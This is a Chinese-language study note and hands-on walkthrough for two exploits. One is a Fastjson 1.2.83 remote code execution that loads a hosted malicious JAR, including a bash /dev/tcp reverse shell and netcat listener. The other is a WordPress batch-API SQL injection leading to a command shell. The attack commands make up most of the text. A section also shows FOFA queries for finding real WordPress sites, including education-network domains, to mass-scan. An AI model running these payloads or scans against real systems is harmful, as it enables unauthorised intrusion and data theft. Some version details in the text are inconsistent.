Fastjson 1.2.83 RCE 漏洞利用 + CVE-2026-63030/60137 Wp2Shell 命令执行 & SQL 注入—— 学习笔记
前置知识
- Fastjson:Java 生态下的 JSON 序列化/反序列化库(补充:由阿里巴巴开源)。漏洞利用围绕它在解析
@type字段时自动加载类的机制展开。 - @type 与 checkAutoType:Fastjson 在解析 JSON 时遇到
@type字段会调用checkAutoType方法尝试加载指定类,这是反序列化类漏洞的根源性机制。 - autoTypeSupport / safeMode:Fastjson 的两个安全开关。内容明确指出漏洞触发条件为二者均为
false。 - LaunchedURLClassLoader:Spring Boot FatJar 内置的类加载器,支持通过
jar:协议 URL 远程加载 JAR 包中的类,是本次 Fastjson 漏洞能在 Spring Boot 环境下落地为 RCE 的关键载体。 - JAR URL 协议(
jar:http://host/x.jar!/Class.class):一种用 URL 指向 JAR 包内部类的寻址方式,Fastjson 会把构造的@type值转换成这种 URL 进而远程加载类。 - Spring Boot:漏洞靶场所用的 Web 框架,打包产物为内置全部依赖与
LaunchedURLClassLoader的 FatJar。 - WordPress REST API 与
/wp-json/batch/v1:WordPress 自 5.6 起内置的批量请求端点,可将多个子请求合并为单次 HTTP 调用;漏洞利用其"路由混淆(route-confusion)"行为实现未授权数据库查询。 - 时间盲注 / 报错盲注:SQL 注入的两种检测模式,内容中作为批量扫描工具的
--check-type参数出现。 - RCE / SQL 注入 / 反弹 shell:文中直接使用的攻击结果名词;若需基础概念补充,需自行补充。
工具与命令清单
java -version— 校验 Java 版本(漏洞触发需 JDK 8,JDK 9+ 可能仅触发 SSRF)python3 --version— 校验 Python 版本(需大于 3.10)mvn package— Maven 打包源码为可运行 jar(靶场已打包,target 目录已有产物,无需重新编译)java -jar target/fastjson-rce-env-1.0.0.jar— 启动 Fastjson 靶场,默认监听 18080 端口javac -cp "poc/lib/*" -d poc poc/GenProbe.java— 编译恶意 payload 生成器 GenProbejava -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator"— 生成恶意 probe.jar(Windows 把最后参数改为"calc")cd poc/www && python3 -m http.server 19090— 在 poc/www 目录启动 HTTP 托管服务,供靶场远程下载恶意 JARpython3 poc/exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe— 构造并发送攻击 Payload,触发漏洞nc -lvnp 4444— 监听反弹 shell 端口(Windows 可用nc -lvn 4444)java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"— 生成用于反弹 shell 的恶意 JARdocker-compose up -d— 启动 WordPress 靶场容器docker-compose exec web chown -R www-data:www-data /var/www/html— 赋予目录权限,避免安装报错python3 wp2shell.py check http://localhost:8090/— 漏洞存活检测python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT DATABASE()"— 通过 SQL 注入读取当前数据库名python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT @@version"— 通过 SQL 注入读取数据库版本python3 wp2shell.py shell http://localhost:8090/ -i— 获取交互式命令执行 shell(RCE)pip3 install -r requirements.txt— 安装批量扫描脚本依赖python3 wp2shell-scan.py check -l targets.txt— 批量检测目标(默认时间盲注)- FOFA 语法
app="WordPress"— 检索 WordPress 资产 - FOFA 语法
app="WordPress" && host="edu.cn"— 检索教育网(edu.cn)下的 WordPress 资产 - Maven — 靶场 Java 项目构建工具
- asm-9.6.jar — 字节码生成工具,编译 GenProbe 时必须引入
- Docker / docker-compose — WordPress 靶场容器化运行环境
- nc(netcat)— 反弹 shell 监听工具
- Yakit — 安全测试工具,可用其插件做批量漏洞扫描
一、Fastjson 1.2.83 RCE 漏洞利用
1.1 漏洞背景与影响范围
2026 年 7 月 19 日,KirillFirsov(@k_firsov)公开了一个影响 Fastjson 1.2.68 至 1.2.83 的远程代码执行(RCE)漏洞,作者披露原文见 https://x.com/k_firsov/status/2078872293745570032 。
内容中明确列出的受影响与触发条件:
- 受影响版本:Fastjson 1.2.66 – 1.2.83
- 运行环境:JDK 8(JDK 9+ 可能仅触发 SSRF,无法触发 RCE)
- 安全开关:
autoTypeSupport为false、safeMode为false
这解释了为什么这套利用对环境如此挑剔——它依赖 JDK 8 下特定的类加载行为与 Fastjson 尚未开启安全模式的配置组合。
1.2 靶场环境结构(fastjson-1.2.83-rce-main.zip)
下载并解压漏洞环境压缩包后,目录结构及作用如下:
- pom.xml:Maven 项目配置文件,定义靶场依赖与打包规则,核心引入
fastjson 1.2.83与Spring Boot;通过mvn package可将源码打包为可直接运行的 jar。target 目录已存在编译产物,说明已完成打包,无需重新编译。 - src 目录:Spring Boot Web 项目源码,核心漏洞入口为
src/main/java/com/vuln/fastjson/controller/ParseController.java,功能是接收 HTTP POST 的 JSON 数据并调用JSON.parse()执行解析——这就是漏洞触发点。 - target 目录:Maven 编译打包输出目录,核心文件是
fastjson-rce-env-1.0.0.jar。这是 Spring Boot 打包的 FatJar(胖包),内置全部依赖与LaunchedURLClassLoader,是满足漏洞触发条件的靶场程序,可直接java -jar启动。 - poc 目录:漏洞利用工具集(攻击核心文件全部在此):
GenProbe.java:恶意 JAR 生成器源码,用于生成包含恶意代码的probe.jar,恶意代码写在静态代码块<clinit>中,类加载时自动执行命令。exp.py:攻击脚本,自动构造 JSON Payload 并向靶场接口发送请求,触发漏洞。lib/目录:编译依赖库,包含asm-9.6.jar(字节码生成工具)与fastjson-1.2.83.jar,编译GenProbe.java时必须引入。www/目录:HTTP 托管目录,生成的恶意probe.jar放在此处,用 Python 启动 HTTP 服务后,靶场将从该目录远程下载恶意 JAR。
1.3 漏洞原理
Fastjson 在处理 @type 字段时,会调用 checkAutoType 方法尝试加载类。攻击者可以构造一个特殊的 @type 值,例如:
jar:http:..2130706433:19090.probe!.POC
其中 2130706433 是 127.0.0.1 的十进制整数表示,用于绕过点号(.)替换逻辑。Fastjson 会将该值转换为 JAR URL:
jar:http://127.0.0.1:19090/probe!/POC.class
在 Spring Boot 的 LaunchedURLClassLoader 环境下,这个 URL 会被解析并远程加载一个恶意 JAR 包。JAR 包中的静态代码块(<clinit>)会在类加载时自动执行,从而实现任意代码执行。
理解要点:这个漏洞的"巧妙"之处在于它没有直接命令执行,而是借 Fastjson 解析 @type 时的类加载机制,把一个远程 JAR 的 URL 伪装成类名喂给类加载器,再由 Spring Boot 的类加载器真的去下载并执行——所以靶场必须能访问到攻击者托管的 HTTP 服务,且必须用 JDK 8 的类加载行为才能落地。
1.4 实操
基础环境校验
java -version
python3 --version
预期:Java 显示 JDK 8;Python 版本大于 3.10。
启动漏洞靶场
java -jar target/fastjson-rce-env-1.0.0.jar
预期:靶场启动,默认监听 18080 端口。浏览器访问 http://127.0.0.1:18080/ 可正常打开页面。
场景一:弹计算器
- 编译恶意 payload 脚本:
javac -cp "poc/lib/*" -d poc poc/GenProbe.java
预期:编译成功,无报错。
- 生成恶意
probe.jar(Windows 把最后参数改为"calc",macOS 示例为"open -a Calculator"):
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator"
预期:在 poc/www/ 目录下生成 probe 文件(即恶意 JAR 包)。
- 启动 HTTP 文件托管服务(靶场需通过 HTTP 下载恶意 JAR):
cd poc/www && python3 -m http.server 19090
预期:HTTP 服务在 19090 端口启动,可访问到 probe。
- 执行恶意 payload,弹计算器:
python3 poc/exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe
预期:靶场加载恶意 JAR,静态代码块执行,本地弹出计算器。
场景二:反弹 shell
- 提前新开终端监听 4444 端口:
nc -lvnp 4444
(Windows 可用 nc -lvn 4444)
预期:netcat 进入监听状态,等待连接。
- 生成用于反弹 shell 的恶意 JAR:
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"
预期:在 poc/www/ 生成新的 probe。
- 运行 exp.py 发送攻击 Payload:
python3 poc/exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe
预期:靶场反向连接 4444 端口,监听端获得交互式 shell,反弹 shell 成功。
二、CVE-2026-63030/60137 Wp2Shell 命令执行 + SQL 注入
2.1 漏洞背景与影响版本
WordPress 内置 REST API,允许开发者通过 HTTP 请求与站点进行数据交互,实现前后端分离、移动应用对接及第三方服务集成。其批量请求端点 /wp-json/batch/v1 自 5.6 版本起内置,用于将多个子请求打包为单次 HTTP 调用以提升性能。攻击者无需身份认证即可通过漏洞链触发数据库查询,实现管理员账户信息泄露——可实现未授权 SQL 注入获取管理员密码哈希,再通过破解管理员密码并利用插件安装功能实现代码执行。
影响版本:
- WordPress 6.8.0 – 6.85
- WordPress 6.9.0 – 6.9.4
- WordPress 7.0.0 – 7.0.1
利用条件:目标系统的 REST API 接口处于开启状态(WordPress 默认开启)。
资产检索(FOFA):
app="WordPress"
教育网资产也可用:
app="WordPress" && host="edu.cn"
2.2 靶场环境搭建
先下载官方 WordPress 6.9.4 源码:https://wordpress.org/wordpress-6.9.4.tar.gz
进入 wordpress 文件夹,在同目录新建 docker-compose.yml(内容见原文配置),随后启动环境:
# 启动容器
docker-compose up -d
# 给目录权限,避免安装报错
docker-compose exec web chown -R www-data:www-data /var/www/html
预期:容器启动完成,目录权限已修正。浏览器访问 http://localhost:8090/ 可打开 WordPress 安装/首页。
2.3 漏洞利用
POC 脚本 GitHub 项目地址:https://github.com/Icex0/wp2shell-poc
1、漏洞存活检测
python3 wp2shell.py check http://localhost:8090/
重点关注这一行,若存在说明目标存在 Batch 路由混淆行为:
[+] VULNERABLE — batch route-confusion behavior detected.
2、SQL 注入漏洞
python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT DATABASE()"
python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT @@version"
预期:无需认证即可读取数据库名、数据库版本等敏感信息。
3、命令执行 RCE
python3 wp2shell.py shell http://localhost:8090/ -i
预期:获得交互式命令执行 shell。
2.4 批量刷分与 Yakit 插件
FOFA 检索资产后导出,使用批量检测脚本批量测试,GitHub 项目地址:https://github.com/fullhunt/wp2shell-scan
安装依赖:
pip3 install -r requirements.txt
扫描脚本参数说明:
-u:单个目标-f:批量目标文件(txt,一行一个 URL)-o:输出结果文件--check-type:检测模式time-based:时间盲注(推荐,无破坏、最稳定)error-based:报错盲注(速度快,部分站点会拦截报错)
--timeout:请求超时时间--delay:盲注休眠时长(默认 3 秒)
批量检测命令(时间盲注,推荐):
python3 wp2shell-scan.py check -l targets.txt
预期:存在漏洞的目标会显示对应的漏洞提示行。
此外,可使用 Yakit 的对应 CVE 漏洞插件进行批量扫描:下载对应 CVE 漏洞插件后批量导入目标,即可直接查看存在漏洞的资产。
参考链接
- Fastjson RCE 漏洞作者原文披露:https://x.com/k_firsov/status/2078872293745570032
- WordPress 6.9.4 官方源码:https://wordpress.org/wordpress-6.9.4.tar.gz
- Wp2Shell POC 脚本:https://github.com/Icex0/wp2shell-poc
- Wp2Shell 批量扫描脚本:https://github.com/fullhunt/wp2shell-scan

浙公网安备 33010602011771号